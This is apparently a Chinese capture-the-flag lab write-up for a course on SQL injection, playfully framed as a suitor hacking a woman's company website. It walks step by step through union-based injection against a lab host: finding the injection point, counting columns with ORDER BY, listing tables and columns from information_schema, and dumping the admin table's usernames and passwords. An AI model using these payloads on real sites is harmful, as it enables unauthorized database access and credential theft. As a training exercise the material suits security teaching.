第一章:为了女神小芳!【配套课时:SQL注入攻击原理 实战演练】
题目
Tips:
通过sql注入拿到管理员密码!
尤里正在追女神小芳,在得知小芳开了一家公司后,尤里通过whois查询发现了小芳公司网站
学过一点黑客技术的他,想在女神面前炫炫技。于是他打开了
传送门
做题过程
首先点入链接
点进第一个新闻,可以注意到urlhttp://pu2lh35s.ia.aqlab.cn/?id=1
看起来应该是挺简单的,可能存在sql注入漏洞,
先尝试一下
猜测是数字型的sql注入,接下来验证是否是数字型。
输入?id=1' and 1=1--+
,
以及?id=1' and 1=2--+
都没有回显,证明其是非单引号的闭合方式。
输入?id=1 and 1=1--+
回显正常,
输入?id=1 and 1=2--+
没有回显,
证明其是纯数字型的sql注入
已经找到注入点了,那么就可以使用order by
来判断其回显的参数个数
?id=1 order by 3--+
没有回显,证明参数少于三个
?id=1 order by 2--+
正常回显,证明参数就是两个
要获得注入的信息,就得先找到一个没有回显的id,测试发现id<=0的情况都会被重定向到首页,当id>4之后的页面大多都是空白页面了。
所以我们使用语句
?id=5 union select 1,database()--+
获取当前数据库名
maoshe
接下来的操作难度可能对初学者来说比较难理解,我们输入参数
id=5 union select 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'maoshe' --+
现在我们来解释一下这些语句
group_concat(table_name)
: group_concat
是一个函数,它会将所有的table_name
(表名)连接成一个字符串,每个table_name
之间用逗号分隔。这样,你就可以在一个字段中得到所有的表名。
FROM information_schema.tables
: information_schema.tables
是一个特殊的表,它包含了数据库的所有表的元数据。元数据是关于数据的数据,例如表名、列名、数据类型等。在这个查询中,我们从这个表中选择数据。
WHERE table_schema = 'maoshe'
: WHERE
子句用于过滤查询的结果。在这个例子中,它过滤出那些table_schema
(也就是数据库名)是maoshe
的表。
所以,整个查询的意思是:从information_schema.tables
表中选择那些数据库名是maoshe
的表的表名,并将这些表名连接成一个字符串。
同理,如果我们需要获取表的信息的话,我们就需要求得表的字段名,如果理解了上面的如何获取表名的话,接下来的语句是比较好理解的,所以就不多解释了。这里以admin表为例
?id=5 union select 1,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'admin' --+
admin
表内是Id,username,password
dirs
表内是paths
news
表内是id,content
xss
表内是id,user,pass
接下来,用
?id=5 union select 1,group_concat(Id,':',username,'-',password,'<br>') FROM admin --+
可以查看admin里面的所有信息
1:admin-hellohack
,2:ppt领取微信-zkaqbanban
flag就是hellohack
发表评论